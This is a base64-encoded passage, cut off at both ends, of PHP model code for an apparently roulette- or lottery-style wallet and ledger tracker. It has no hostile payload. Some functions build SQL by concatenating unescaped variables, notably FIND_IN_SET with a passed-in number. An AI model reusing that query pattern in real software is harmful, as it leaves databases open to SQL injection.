QoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnc2Vjb25kdGlsZXMnXSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJDQoJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCSR1cGRhdGV3YWxsZXRbJ2luY29taW5nJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2luY29taW5nJ10rJHRvdGFsaW5jb21pbmc7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gJGdldFdhbGxldHZhbHVlWydvdXRnb2luZyddKyR0b3RhbG91dGdvaW5nOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gICA9ICR1cGRhdGV3YWxsZXRbJ2luY29taW5nJ10tICR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ107DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsnbGVkZ2VybGltaXQnXSA8ICR1cGRhdGV3YWxsZXRbJ2xlZGdlciddKXsNCgkJCSR1cGRhdGV3YWxsZXRbJ21haW5sZWRnZXInXSA9ICRnZXRXYWxsZXR2YWx1ZVsnbWFpbmxlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQlpZigkdXBkYXRld2FsbGV0WydsZWRnZXInXSA8ICRnZXRTZXR2YWx1ZVsnbWludXNsZWRnbGltaXQnXSl7DQoJCQkkdXBkYXRld2FsbGV0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCQ0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJDQoJCQlpZihAJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdlYWNodGltZScpID09ICdhcHBseScpew0KCQkJCSR0aGlzLT5vbmV0aW1lKCk7DQoJCQl9DQoJCQkNCgkJCQ0KCQkJDQoJCQkNCgkJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOwkJCQ0KCQkJJHJlc3VsdCA9IGFycmF5KCk7CQkJCQkJICAgDQoJCQkJCSAgIA0KCQkJJHJlc3VsdFsncmV0dXJuc3RyaW5nJ10gPSAkcmV0dXJuc3RyaW5nOwkJDQoJCQkkcmVzdWx0WydyZXR1cm5udW1iZXInXSA9ICRyZXR1cm5udW1iZXI7DQoJCQkkcmVzdWx0WydyZXR1cm5jb2xvcnN0cmluZyddID0gJHJldHVybmNvbG9yc3RyaW5nOwkNCgkJCSRyZXN1bHRbJ3JldHVybnBsYWNlc3RyaW5nJ10gPSAkcmV0dXJucGxhY2VzdHJpbmc7CQ0KCQkJDQoJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJJHJlc3VsdFsnYmxhY2t0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkkcmVzdWx0WydmaXJzdHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkkcmVzdWx0WydldmVudGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkkcmVzdWx0WydvZGR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJDQoJCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHJlc3VsdFsncmJ3YWxsZXQnXSA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCSRyZXN1bHRbJ2h0d2FsbGV0J10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkkcmVzdWx0WydpbmNvbWluZyddID0gJGdldFdhbGxldHZhbHVlWydpbmNvbWluZyddOw0KCQkJJHJlc3VsdFsnb3V0Z29pbmcnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnb3V0Z29pbmcnXTsNCgkJCSRyZXN1bHRbJ2xlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ2xlZGdlciddOw0KCQkJJHJlc3VsdFsnbWFpbmxlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ21haW5sZWRnZXInXTsNCgkJCSRyZXN1bHRbJ21pbnVzbGVkZ2VyJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ21pbnVzbGVkZ2VyJ107DQoJCQkNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfdXNlcmRhdGEoJHJlc3VsdCk7DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsndGlsZXNlcXVpdHknXSA9PSAneWVzJyl7CQkJCQkNCgkJCQkkdG90YWx0aWxlc3ZhbCA9IDA7DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkdG90YWx0aWxlc3ZhbCA9ICR0b3RhbHRpbGVzdmFsKyRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCX0NCgkJCSAgICBpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcgKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbDQoJCQkJJ3JlZHRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJfQ0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSA9PSAnZmlyc3QnKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJfQ0KCQkJCSR0b3RhbHRpbGVzdmFsID0gcm91bmQoJHRvdGFsdGlsZXN2YWwvMyk7DQoJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOwkJCQkJDQoJCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9DQoJCQkJICAgIGlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSA9PSAncmVkJyl7DQoJCQkJICAgICR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX0NCgkJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9CQ0KCQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7CQkJCQ0KCQkJCQkNCgkJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2JsYWNrdGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2ZpcnN0dGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZmlyc3R0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJJHJlc3VsdFsnZXZlbnRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCSRyZXN1bHRbJ29kZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQl9DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOw0KCQkJcmV0dXJuIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KCQkJDQoJCX0NCgl9DQoNCglwdWJsaWMgZnVuY3Rpb24gZWFjaHRpbWUoKXsNCgkJJHJldHVybiA9ICR0aGlzLT5vbmV0aW1lKCk7DQoJCSRyZXN1bHRbJ2VhY2h0aW1lJ10gPSAnYXBwbHknOw0KCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkJDQoJCXJldHVybiAkcmV0dXJuOw0KCX0NCg0KCXB1YmxpYyBmdW5jdGlvbiBvbmV0aW1lKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOwkNCgkJJHRvdGFsID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddKyRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXSskZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCSR0b3RhbCA9IHJvdW5kKCR0b3RhbC8zKTsJDQoJCQ0KCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkkdXBkYXRld2FsbGV0Wydlb3dhbGxldCddID0gJHRvdGFsOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICR0b3RhbDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkdG90YWw7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkNCgkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7CQkNCgkJJHJlc3VsdCA9IGFycmF5KCk7CQ0KCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkkcmVzdWx0WydyYndhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydyYndhbGxldCddOw0KCQkkcmVzdWx0WydodHdhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydodHdhbGxldCddOw0KCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkNCgkJcmV0dXJuIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KCQkNCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIGdldFRvcHRocmVlVmFsKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRxID0gIlNlbGVjdCAqIGZyb20gIi5UQkxfTUVOVElPTk5VTVJFQy4iIFdIRVJFIHNlc3Npb25faWQgPSAnIi4kc2Vzc2lvbl9pZC4iJyBPUkRFUiBCWSBpZCBkZXNjIGxpbWl0IDMiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCXJldHVybiAkcXVlcnktPnJlc3VsdF9hcnJheSgpOw0KCQl9ZWxzZXsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCgkNCglwdWJsaWMgZnVuY3Rpb24gc2V0V2FsbGV0VmFsKCR2YWwpew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnd2FsbGV0J10gPSAkdmFsOw0KCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJfQ0KCQ0KCXB1YmxpYyBmdW5jdGlvbiBnZXRWYWx1ZWluU2V0KCRtbnVtYmVyKXsNCgkJJHNldHJlc3VsdCA9IGFycmF5KCk7DQoJCSRzZXRyZXN1bHRbJ3ZhbHVlJ10gPSAgJG1udW1iZXI7DQoJCSRxID0gIlNlbGVjdCAqIGZyb20gIi5UQkxfTlVNQkVSU0VULiIgV0hFUkUgRklORF9JTl9TRVQoJG1udW1iZXIscmVkc2V0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAncmVkc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixibGFja3NldCkiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCSRzZXRyZXN1bHRbJ3Byb3AnXVtdID0gJ2JsYWNrc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixmaXJzdGh0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAnZmlyc3RodCc7DQoJCX0NCg0KCQkkcSA9ICJTZWxlY3QgKiBmcm9tICIuVEJMX05VTUJFUlNFVC4iIFdIRVJFIEZJTkRfSU5fU0VUKCRtbnVtYmVyLHNlY29uZGh0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAnc2Vjb25kaHQnOw0KCQl9DQoJCQ0KCQkkcSA9ICJTZWxlY3QgKiBmcm9tICIuVEJMX05VTUJFUlNFVC4iIFdIRVJFIEZJTkRfSU5fU0VUKCRtbnVtYmVyLGV2ZW5zZXQpIjsgDQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IHF1ZXJ5KCRxKTsJCQ0KCQlpZiAoJHF1ZXJ5IC0+IG51bV9yb3dzKCkgPiAwKSB7DQoJCQkkc2V0cmVzdWx0Wydwcm9wJ11bXSA9ICdldmVuc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixvZGRzZXQpIjsgDQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IHF1ZXJ5KCRxKTsJCQ0KCQlpZiAoJHF1ZXJ5IC0+IG51bV9yb3dzKCkgPiAwKSB7DQoJCQkkc2V0cmVzdWx0Wydwcm9wJ11bXSA9ICdvZGRzZXQnOw0KCQl9DQoJCQ0KCQlyZXR1cm4gJHNldHJlc3VsdDsNCgl9DQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIHNhdmUgbG90IG51bWJlciAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlbG90bnVtYmVyKCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydsbnVtYmVyJ10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ2xudW1iZXInKTsNCgkJJGRhdGFbJ3dhbGxldCddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCdsbnVtYmVyJyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdMb3QgbnVtYmVyIGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJGRhdGF0aWxlc1snc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCQkkZGF0YXRpbGVzWydyZWR0aWxlcyddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydmaXJzdHRpbGVzJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snc2Vjb25kdGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydldmVudGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydvZGR0aWxlcyddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJGRhdGF0aWxlc1sncmJ3YWxsZXQnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydodHdhbGxldCddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2luY29taW5nJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snb3V0Z29pbmcnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydtYWlubGVkZ2VyJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snbWludXNsZWRnZXInXSA9IDA7DQoJCQkNCgkJCSR0aGlzIC0+IGRiIC0+IGluc2VydChUQkxfVElMRVNWQUwsICRkYXRhdGlsZXMpOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTG90IG51bWJlciBoYXMgYmVlbiBhZGRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQkNCgkJcmV0dXJuICRpbnNlcnRlZF9pZDsJCQkNCgl9DQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIHNhdmUgZGl2IG51bWJlciAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlZGl2bnVtYmVyKCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydkbnVtYmVyJ10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ2RudW1iZXInKTsJDQoJCSRnZXRTZXR2YWx1ZSA9ICR0aGlzLT5nZXRTZXR2YWx1ZSgpOw0KCQlpZigkZ2V0U2V0dmFsdWUpew0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1NFVFZBTFVFLCRkYXRhKTsNCgkJCSRpbnNlcnRlZF9pZCA9ICRnZXRTZXR2YWx1ZVsnaWQnXTsNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfZmxhc2hkYXRhKCdzdWNjZXNzJywgJ0RpdmlzaW9uIG51bWJlciBoYXMgYmVlbiB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9ZWxzZXsNCgkJCSR0aGlzIC0+IGRiIC0+IGluc2VydChUQkxfU0VUVkFMVUUsICRkYXRhKTsNCgkJCSRpbnNlcnRlZF9pZCA9ICR0aGlzIC0+IGRiIC0+IGluc2VydF9pZCgpOwkNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfZmxhc2hkYXRhKCdzdWNjZXNzJywgJ0RpdmlzaW9uIG51bWJlciBoYXMgYmVlbiBhZGRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQkNCgkJCQkNCgl9DQoJDQoJDQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIGdldCBzZXQgdmFsdWUgYnkgc2Vzc2lvbiBpZCAqKioqKioqKioqKioqKi8NCglmdW5jdGlvbiBnZXRTZXR2YWx1ZSgpIHsNCgkJJHNlc3Npb25faWQgPSAkdGhpcy0+c2Vzc2lvbi0+c2Vzc2lvbl9pZDsNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCRzZXNzaW9uX2lkKTsNCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gZ2V0KFRCTF9TRVRWQUxVRSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJZm9yZWFjaCAoJHF1ZXJ5LT5yZXN1bHRfYXJyYXkoKSBhcyAkdmFsdWUpIHsNCgkJCQkkcmVzdWx0ID0gJHZhbHVlOw0KCQkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsJDQoJCX1lbHNlew0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfQ0KCS8qKioqKioqKioqKioqKiBmdW5jdGlvbiB0byBnZXQgc2V0IHZhbHVlIGJ5IHNlc3Npb24gaWQgKioqKioqKioqKioqKiovDQoJZnVuY3Rpb24gZ2V0V2FsbGV0dmFsdWUoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywkc2Vzc2lvbl9pZCk7DQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IGdldChUQkxfVElMRVNWQUwpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCWZvcmVhY2ggKCRxdWVyeS0+cmVzdWx0X2FycmF5KCkgYXMgJHZhbHVlKSB7DQoJCQkJJHJlc3VsdCA9ICR2YWx1ZTsNCgkJCX0NCgkJcmV0dXJuICRyZXN1bHQ7CQ0KCQl9ZWxzZXsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCgkNCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBs